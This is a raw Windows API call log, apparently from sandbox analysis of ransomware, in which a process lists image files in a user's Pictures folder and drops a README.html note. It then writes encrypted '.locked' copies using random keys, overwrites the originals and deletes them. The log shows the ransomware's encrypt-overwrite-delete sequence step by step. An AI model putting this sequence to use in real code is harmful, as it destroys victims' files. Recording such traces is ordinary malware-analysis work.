	[0079.998] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17139c00, ftCreationTime.dwHighDateTime=0x1d4c8f9, ftLastAccessTime.dwLowDateTime=0xf65706e0, ftLastAccessTime.dwHighDateTime=0x1d4d59c, ftLastWriteTime.dwLowDateTime=0xf65706e0, ftLastWriteTime.dwHighDateTime=0x1d4d59c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0079.998] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17139c00, ftCreationTime.dwHighDateTime=0x1d4c8f9, ftLastAccessTime.dwLowDateTime=0xf65706e0, ftLastAccessTime.dwHighDateTime=0x1d4d59c, ftLastWriteTime.dwLowDateTime=0xf65706e0, ftLastWriteTime.dwHighDateTime=0x1d4d59c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.998] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8bcb180, ftCreationTime.dwHighDateTime=0x1d4d2b7, ftLastAccessTime.dwLowDateTime=0x15c12680, ftLastAccessTime.dwHighDateTime=0x1d4c537, ftLastWriteTime.dwLowDateTime=0x15c12680, ftLastWriteTime.dwHighDateTime=0x1d4c537, nFileSizeHigh=0x0, nFileSizeLow=0x15b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="-OIjcJgO_tA4gL.gif", cAlternateFileName="-OIJCJ~1.GIF")) returned 1
	[0079.998] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7fb3050, ftCreationTime.dwHighDateTime=0x1d4cae2, ftLastAccessTime.dwLowDateTime=0xa0919b70, ftLastAccessTime.dwHighDateTime=0x1d4cab7, ftLastWriteTime.dwLowDateTime=0xa0919b70, ftLastWriteTime.dwHighDateTime=0x1d4cab7, nFileSizeHigh=0x0, nFileSizeLow=0x6fc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6jG-xBdzx6PtkXUwru3U.jpg", cAlternateFileName="6JG-XB~1.JPG")) returned 1
	[0079.998] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49989b30, ftCreationTime.dwHighDateTime=0x1d4c6e7, ftLastAccessTime.dwLowDateTime=0x61701fb0, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0x61701fb0, ftLastWriteTime.dwHighDateTime=0x1d4d44f, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jNuwK.png", cAlternateFileName="")) returned 1
	[0079.998] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d493530, ftCreationTime.dwHighDateTime=0x1d4ced8, ftLastAccessTime.dwLowDateTime=0xeb854270, ftLastAccessTime.dwHighDateTime=0x1d4d251, ftLastWriteTime.dwLowDateTime=0xeb854270, ftLastWriteTime.dwHighDateTime=0x1d4d251, nFileSizeHigh=0x0, nFileSizeLow=0x23e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="LaBjbBQtLto.bmp", cAlternateFileName="LABJBB~1.BMP")) returned 1
	[0079.998] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85deb130, ftCreationTime.dwHighDateTime=0x1d4c767, ftLastAccessTime.dwLowDateTime=0x26518d10, ftLastAccessTime.dwHighDateTime=0x1d4c937, ftLastWriteTime.dwLowDateTime=0x26518d10, ftLastWriteTime.dwHighDateTime=0x1d4c937, nFileSizeHigh=0x0, nFileSizeLow=0xe393, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q5PB7o02I13DQV7a.bmp", cAlternateFileName="Q5PB7O~1.BMP")) returned 1
	[0079.998] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b47c010, ftCreationTime.dwHighDateTime=0x1d4ce13, ftLastAccessTime.dwLowDateTime=0x36dd0a40, ftLastAccessTime.dwHighDateTime=0x1d4d21c, ftLastWriteTime.dwLowDateTime=0x36dd0a40, ftLastWriteTime.dwHighDateTime=0x1d4d21c, nFileSizeHigh=0x0, nFileSizeLow=0x1910, dwReserved0=0x0, dwReserved1=0x0, cFileName="_XRtmzx2efoMGGxzpc-.png", cAlternateFileName="_XRTMZ~1.PNG")) returned 1
	[0079.998] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0079.998] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0079.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.999] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0079.999] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0080.000] CloseHandle (hObject=0xc0) returned 1
	[0080.000] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12508000*, nNumberOfCharsToWrite=0x63, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x12508000*, lpNumberOfCharsWritten=0x127ee84c*=0x63) returned 1
	[0080.002] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\-OIjcJgO_tA4gL.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\-oijcjgo_ta4gl.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc418 | out: lpFileInformation=0x123fc418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8bcb180, ftCreationTime.dwHighDateTime=0x1d4d2b7, ftLastAccessTime.dwLowDateTime=0x15c12680, ftLastAccessTime.dwHighDateTime=0x1d4c537, ftLastWriteTime.dwLowDateTime=0x15c12680, ftLastWriteTime.dwHighDateTime=0x1d4c537, nFileSizeHigh=0x0, nFileSizeLow=0x15b94)) returned 1
	[0080.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\-OIjcJgO_tA4gL.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\-oijcjgo_ta4gl.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.002] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\-OIjcJgO_tA4gL.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\-oijcjgo_ta4gl.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.003] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.003] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4a0 | out: pbBuffer=0x1238c4a0) returned 1
	[0080.003] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8290 | out: pbBuffer=0x127a8290) returned 1
	[0080.003] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0080.003] WriteFile (in: hFile=0xc4, lpBuffer=0x12415000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12415000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0080.006] SetEvent (hEvent=0xb4) returned 1
	[0080.006] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x15b94, lpOverlapped=0x0) returned 1
	[0080.009] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x15b94, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x15b94, lpOverlapped=0x0) returned 1
	[0080.010] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0080.010] CloseHandle (hObject=0xc4) returned 1
	[0080.010] CloseHandle (hObject=0xc0) returned 1
	[0080.010] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ec000*, nNumberOfCharsToWrite=0x60, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123ec000*, lpNumberOfCharsWritten=0x127ee7d8*=0x60) returned 1
	[0080.012] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.014] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\-OIjcJgO_tA4gL.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\-oijcjgo_ta4gl.gif")) returned 1
	[0080.019] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.019] SetEvent (hEvent=0xb4) returned 1
	[0080.020] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.020] SetEvent (hEvent=0xb4) returned 1
	[0080.020] SetEvent (hEvent=0x8c) returned 1
	[0080.020] SetEvent (hEvent=0x78) returned 1
	[0080.020] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.021] SetEvent (hEvent=0x78) returned 1
	[0080.037] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.037] SetEvent (hEvent=0xa8) returned 1
	[0080.037] SetEvent (hEvent=0x78) returned 1
	[0080.039] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.039] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.039] SetEvent (hEvent=0x78) returned 1
	[0080.039] SetEvent (hEvent=0x8c) returned 1
	[0080.039] SetEvent (hEvent=0xb4) returned 1
	[0080.039] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.040] SetEvent (hEvent=0xb4) returned 1
	[0080.040] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\-OIjcJgO_tA4gL.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\-oijcjgo_ta4gl.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.041] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0080.041] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.057] CloseHandle (hObject=0xc0) returned 1
	[0080.057] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\-OIjcJgO_tA4gL.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\-oijcjgo_ta4gl.gif")) returned 1
	[0080.061] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\6jG-xBdzx6PtkXUwru3U.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\6jg-xbdzx6ptkxuwru3u.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7fb3050, ftCreationTime.dwHighDateTime=0x1d4cae2, ftLastAccessTime.dwLowDateTime=0xa0919b70, ftLastAccessTime.dwHighDateTime=0x1d4cab7, ftLastWriteTime.dwLowDateTime=0xa0919b70, ftLastWriteTime.dwHighDateTime=0x1d4cab7, nFileSizeHigh=0x0, nFileSizeLow=0x6fc0)) returned 1
	[0080.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\6jG-xBdzx6PtkXUwru3U.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\6jg-xbdzx6ptkxuwru3u.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.061] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.062] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\6jG-xBdzx6PtkXUwru3U.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\6jg-xbdzx6ptkxuwru3u.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.063] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.063] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c460 | out: pbBuffer=0x1238c460) returned 1
	[0080.063] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0080.063] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0080.063] WriteFile (in: hFile=0xc4, lpBuffer=0x123e9000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x123e9000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0080.066] SetEvent (hEvent=0x8c) returned 1
	[0080.066] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb14*=0x6fc0, lpOverlapped=0x0) returned 1
	[0080.068] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb20*=0x6fc0, lpOverlapped=0x0) returned 1
	[0080.068] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0080.068] CloseHandle (hObject=0xc4) returned 1
	[0080.068] CloseHandle (hObject=0xc0) returned 1
	[0080.069] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.069] SetEvent (hEvent=0x8c) returned 1
	[0080.069] SetEvent (hEvent=0xb4) returned 1
	[0080.069] SetEvent (hEvent=0x78) returned 1
	[0080.069] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.070] SetEvent (hEvent=0x78) returned 1
	[0080.070] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x66, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee7d8*=0x66) returned 1
	[0080.071] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\6jG-xBdzx6PtkXUwru3U.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\6jg-xbdzx6ptkxuwru3u.jpg")) returned 1
	[0080.090] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.094] SetEvent (hEvent=0xa8) returned 1
	[0080.094] SetEvent (hEvent=0xb4) returned 1
	[0080.098] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.098] SetEvent (hEvent=0xb4) returned 1
	[0080.098] SetEvent (hEvent=0x78) returned 1
	[0080.098] SetEvent (hEvent=0x8c) returned 1
	[0080.098] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.099] SetEvent (hEvent=0x8c) returned 1
	[0080.100] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.101] SetEvent (hEvent=0x8c) returned 1
	[0080.101] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.101] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.101] SetEvent (hEvent=0x8c) returned 1
	[0080.101] SetEvent (hEvent=0x78) returned 1
	[0080.101] SetEvent (hEvent=0xb4) returned 1
	[0080.101] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.102] SetEvent (hEvent=0xb4) returned 1
	[0080.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\6jG-xBdzx6PtkXUwru3U.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\6jg-xbdzx6ptkxuwru3u.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.103] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0080.103] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.121] CloseHandle (hObject=0xc0) returned 1
	[0080.121] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\6jG-xBdzx6PtkXUwru3U.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\6jg-xbdzx6ptkxuwru3u.jpg")) returned 1
	[0080.139] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\LaBjbBQtLto.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\labjbbqtlto.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d493530, ftCreationTime.dwHighDateTime=0x1d4ced8, ftLastAccessTime.dwLowDateTime=0xeb854270, ftLastAccessTime.dwHighDateTime=0x1d4d251, ftLastWriteTime.dwLowDateTime=0xeb854270, ftLastWriteTime.dwHighDateTime=0x1d4d251, nFileSizeHigh=0x0, nFileSizeLow=0x23e9)) returned 1
	[0080.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\LaBjbBQtLto.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\labjbbqtlto.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.140] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.140] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\LaBjbBQtLto.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\labjbbqtlto.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.140] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.140] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c460 | out: pbBuffer=0x1238c460) returned 1
	[0080.140] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0080.141] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0080.141] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0080.143] SetEvent (hEvent=0x78) returned 1
	[0080.143] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x23e9, lpOverlapped=0x0) returned 1
	[0080.144] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x23e9, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x23e9, lpOverlapped=0x0) returned 1
	[0080.144] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0080.144] CloseHandle (hObject=0xc4) returned 1
	[0080.145] CloseHandle (hObject=0xc0) returned 1
	[0080.145] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.145] SetEvent (hEvent=0x78) returned 1
	[0080.145] SetEvent (hEvent=0xb4) returned 1
	[0080.146] SetEvent (hEvent=0x8c) returned 1
	[0080.146] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.146] SetEvent (hEvent=0xa8) returned 1
	[0080.146] SetEvent (hEvent=0x8c) returned 1
	[0080.146] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5d) returned 1
	[0080.148] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\LaBjbBQtLto.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\labjbbqtlto.bmp")) returned 1
	[0080.165] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.166] SetEvent (hEvent=0xa8) returned 1
	[0080.166] SetEvent (hEvent=0xb4) returned 1
	[0080.170] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.171] SetEvent (hEvent=0xb4) returned 1
	[0080.171] SetEvent (hEvent=0x8c) returned 1
	[0080.171] SetEvent (hEvent=0x78) returned 1
	[0080.171] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.171] SetEvent (hEvent=0x78) returned 1
	[0080.173] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.173] SetEvent (hEvent=0x78) returned 1
	[0080.173] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.173] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.173] SetEvent (hEvent=0x78) returned 1
	[0080.173] SetEvent (hEvent=0x8c) returned 1
	[0080.174] SetEvent (hEvent=0xb4) returned 1
	[0080.174] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.174] SetEvent (hEvent=0xb4) returned 1
